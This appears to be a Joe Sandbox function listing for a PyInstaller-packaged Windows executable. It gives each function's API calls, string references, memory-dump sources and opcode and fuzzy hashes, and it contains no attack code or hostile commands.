Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 64c9254f4cc18c1062e46c0276ede67bee28ea1b66b377b9b023a1583293e9f1
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: 24519313A2CA8781FA619B2DE851AFA63A0AF94788F444435DB4ED36F5EE3CF5048740

Function 00007FF6B7502180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6B75021AB
SelectObject.GDI32 ref: 00007FF6B75021F2
DrawTextW.USER32 ref: 00007FF6B7502215
SelectObject.GDI32 ref: 00007FF6B750222B
ReleaseDC.USER32 ref: 00007FF6B750223B
MoveWindow.USER32 ref: 00007FF6B750228B
MoveWindow.USER32 ref: 00007FF6B75022CB
MoveWindow.USER32 ref: 00007FF6B750231E
MoveWindow.USER32 ref: 00007FF6B7502366

Strings

P%, xrefs: 00007FF6B75021FF

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 22ad40ebae3de3366863d30a60ff3b0a44f7f7b56b0eb5529f86f249ebe4b085
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 1051E726608BA186D6349F36E4581BAB7A1F798B65F004125EFDE836A4EF3CD085DB10

Function 00007FF6B75080C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6B75080FF
GetWindowLongPtrW.USER32 ref: 00007FF6B750817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF6B7508192
GetLastError.KERNEL32 ref: 00007FF6B750819C
SetWindowLongPtrW.USER32 ref: 00007FF6B75081B3

Strings

Needs to remove its temporary files., xrefs: 00007FF6B7508185

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 5366563b7c7873b22ac9c7ec1e089b531d78b2e5d599c86f239c1fcb5f5fc67b
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 1B219223B0CA4282EB458B7EE8545B96361FF88B94F584235DB6DC33F4EE2CE5918341

Function 00007FF6B7516290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75162D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75166C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751695C

Strings

p, xrefs: 00007FF6B7516385
:, xrefs: 00007FF6B751648C
p, xrefs: 00007FF6B75163FD
-, xrefs: 00007FF6B7516369
f, xrefs: 00007FF6B75163F5

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: c4733eaa1329521d65f513c589a98c92650a635fbfeec5a90d75ea550f6378d3
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 8A128163E0C2A386FB205F18D1546B976A1FB50752F888135E78B86EE4DF3CE980CB10

Function 00007FF6B7510FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7511008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75113D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751166F

Strings

f, xrefs: 00007FF6B75110A0
p, xrefs: 00007FF6B75110AD
f, xrefs: 00007FF6B751110A
p, xrefs: 00007FF6B7511112
f, xrefs: 00007FF6B7511255

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: ac11f2da6b373fe71ff394aa5867e5bdf766a2b15bf0cee618d3e2b85ee76662
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: CB129463E0C5A386FB205F1CE05467976A5FB40756F954071D79A86EE8DF7CE980CB00

Function 00007FF6B7501050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6B7501098
fread, xrefs: 00007FF6B75011FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6B7501108
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6B75010CC
fseek, xrefs: 00007FF6B75010D3
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6B75011F6
malloc, xrefs: 00007FF6B750110F

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 9e6d356331cceb36e06eccad6adf1a3c001823f33e5e99eafa3b8aac7d5c78d7
Instruction ID: d15e8edc4f45c5f271024c7f72dfc8627a41669d215db790b53297602b771fef
Opcode Fuzzy Hash: 9e6d356331cceb36e06eccad6adf1a3c001823f33e5e99eafa3b8aac7d5c78d7
Instruction Fuzzy Hash: F6419063B0C65282FA14DB1AA8006B963A1FF44BC8F944432EF4D877A6DE3CF542C781

Function 00007FF6B7501470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6B750149F
fread, xrefs: 00007FF6B75015E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6B7501518
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6B75014DE
fseek, xrefs: 00007FF6B75014E5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6B75015DF
malloc, xrefs: 00007FF6B750151F

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 1f9944f3975ec637b67728bc3c41dfd727d4deabf5f38a4d76f85a3f7c038b2f
Instruction ID: 45ed98669c2f5c538919f4ea6eed95d4527243c82f7e3c2e27c677da55cbe8a0
Opcode Fuzzy Hash: 1f9944f3975ec637b67728bc3c41dfd727d4deabf5f38a4d76f85a3f7c038b2f
Instruction Fuzzy Hash: 6D418023A0C65286EB10DF2994415B963A0FF44798F444936EF4D8BBB5EE3CE542CB01

Function 00007FF6B750EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6B750EA65

Part of subcall function 00007FF6B750F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6B750F9FF
Part of subcall function 00007FF6B750F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6B750FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6B750EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6B750ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6B750EE98

Strings

csm, xrefs: 00007FF6B750EAE6
csm, xrefs: 00007FF6B750EB60
csm, xrefs: 00007FF6B750EA7F

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 0f6f161b265eec980ae33d0b35f7936975ffc0c3fa9cf963a21a6fa9547c57f1
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 8FD16C73A0CB458AEB60AB6994403AD77A0FB4578CF240139EF4D97BA6DF38E591C700

Function 00007FF6B7502C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502D63
MessageBoxW.USER32 ref: 00007FF6B7502D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF6B7502D70
[PYI-%d:ERROR] , xrefs: 00007FF6B7502CA6
Error, xrefs: 00007FF6B7502D8C
%ls: , xrefs: 00007FF6B7502D22

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: f34275d7c7839644d7230baefb48d72bfd76ee537afc4b6542ef25829316cf4b
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: FD31D827B0CA4542E6219B29B8102AB67A1BF88798F410136EF4DD7779EF3CD646C700

Function 00007FF6B750DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DD4D
GetLastError.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DD85
FreeLibrary.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DDFF

Strings

api-ms-, xrefs: 00007FF6B750DD6D

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 6e688795dbb874b520d03be46d44b84a0809813ed08d6bb98db52e5100d8b550
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 7131C563B1EB42D1EE529B0AA4106B563A4FF48BA8F594535DF5DC73A0EF3CE4449310

Function 00007FF6B7506360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

ucrtbase.dll, xrefs: 00007FF6B75063DD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6B7506407
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6B75063C7
Failed to load Python DLL '%ls'., xrefs: 00007FF6B75064A7
LoadLibrary, xrefs: 00007FF6B75064AE
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6B7506456

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: 81718045b4f0cc2df8531e2afdf1908686f62bc0f3d0074c7a022fbbb2a69b9f
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: 10417F23A1CA8791EB25DB28E4542E96321FF44398F800132EB5D876F6EF3CE609C740

Function 00007FF6B7502A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF6B750351A,?,00000000,00007FF6B7503F23), ref: 00007FF6B7502AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF6B7502AA8
Warning, xrefs: 00007FF6B7502B1E
0, xrefs: 00007FF6B7502B16
Warning [ANSI Fallback], xrefs: 00007FF6B7502B0F
WARNING, xrefs: 00007FF6B7502AAF

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 8c35499528c39134f5f1d509e0d18074a5e02f9d051e11ab1c8276c4dd5abcb8
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 53218133A1CB8242E7209B59B8417EA63A4FB88784F400136FF8D93669EF7CD2458740

Function 00007FF6B751B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6B751B15F
FlsGetValue.KERNEL32 ref: 00007FF6B751B174
FlsSetValue.KERNEL32 ref: 00007FF6B751B195
FlsSetValue.KERNEL32 ref: 00007FF6B751B1C2
FlsSetValue.KERNEL32 ref: 00007FF6B751B1D3
FlsSetValue.KERNEL32 ref: 00007FF6B751B1E4
SetLastError.KERNEL32 ref: 00007FF6B751B1FF

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 12f476f87c8743e70c8b210e20a22f1b01636e2fed05d2f1e0a082253e023e8e
Instruction ID: ecca1fa4048c1f0645fd4cf9537cc6e17f9bc88fb270afc802bfe2f958577f01
Opcode Fuzzy Hash: 12f476f87c8743e70c8b210e20a22f1b01636e2fed05d2f1e0a082253e023e8e
Instruction Fuzzy Hash: 7A215022E4D66281F9656B2E5A5113952A35F44BB2F064734DB7EC7EF6DD2CA8408340

Function 00007FF6B7527D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6B7527D9D
GetLastError.KERNEL32 ref: 00007FF6B7527DA9
CloseHandle.KERNEL32 ref: 00007FF6B7527DC1
CreateFileW.KERNEL32 ref: 00007FF6B7527DEC
WriteConsoleW.KERNEL32 ref: 00007FF6B7527E0B

Strings

CONOUT$, xrefs: 00007FF6B7527DCD

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 7bb057d4a1b864632c54c1fa524d2138cc32d689d2c8113b2b7deee4b25e3809
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 94119322B1CB4586E7608B1AE85432962A4FB88BE4F040238EB5EC77B4DF3CD8548740

Function 00007FF6B7508ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7508EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7508F5A

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7508FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7509044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7509055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B750906A

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: 9fe932e7894e609dc6cbd0b8133375de173c3dd386a6ad6ff7ae69a523ee9496
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: 26419E63B1D68281EA309B1AA5106BA73A5FB85BC8F444135DF8D97BE9DF3CE501CB00

